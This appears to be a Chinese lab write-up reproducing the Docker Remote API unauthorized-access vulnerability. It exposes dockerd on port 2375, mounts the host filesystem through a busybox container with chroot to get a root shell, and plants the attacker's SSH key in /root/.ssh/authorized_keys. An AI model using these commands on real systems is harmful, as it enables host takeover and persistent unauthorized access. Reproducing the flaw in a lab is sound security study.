Docker未授权攻击利用复现

本文详细介绍了如何配置Docker服务以允许远程未授权访问,并通过挂载主机目录创建容器。在CentOS系统中,关闭防火墙后,攻击者可以使用kali系统进行远程操作。此外,还演示了如何写入攻击者的公钥以实现SSH免密登录。整个过程涉及Docker Remote API漏洞复现和系统安全风险。

环境配置

受害机:CentOS
攻击者:kali
配置docker配置文件,使得测试机存在未授权访问
vim /usr/lib/systemd/system/docker.service
原本[Service] ExecStart参数
image
修改为
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
重启docker服务

systemctl daemon-reload
systemctl restart docker

查看docker进程

ps -ef|grep docker

image
Docker守护进程打开了一个HTTP Socket,才能实现远程通信
在我的CentOS虚拟机上进行测试的时候,需要关闭防火墙才能被访问到

systemctl status firewalld
#查看防火墙运行状态
systemctl stop firewalld
#关闭防火墙

在我们的攻击机上就可以正常访问并执行命令了
image

利用

创建容器并挂载主机目录

使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。busybox体积小,从仓库拉取的速度也更快,同时命令也齐全,搞起来方便。

docker -H tcp://xx.xx.xx.xx run --rm -it -v /:/mnt busybox chroot /mnt sh

参数含义:

  • –rm 容器停止时自动删除该容器
  • -privileged 使用该参数,container内的root有真正root权限。否则container内的root只是外部一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并可以执行mount;允许字docker容器中启动docker容器。
  • -v 挂载目录。格式 系统目录:容器目录
  • chroot /mnt 更改root目录,系统默认目录结构以 /(root) 开始,使用chroot后,系统目录结构以指定的 /mnt 位置作为 / 位置。最后的sh是我们使用的shell
    image
    可以看到直接进入了系统目录

写入攻击者的公钥

在攻击机上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器

查看本机ssh公钥及生成公钥
本机存在id_rsa.pub文件:cat /root/.ssh/id_rsa.pub
本机不存在则生成:执行ssh-keygen
本地不存在.ssh目录
执行ssh localhost

image
不存在authorized_keys文件,新建并写入(存在追加即可)
重启ssh服务
systemctl restart sshd
image
能够成功登录
image

利用条件与检测

参考

Docker Remote API未授权访问漏洞复现

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值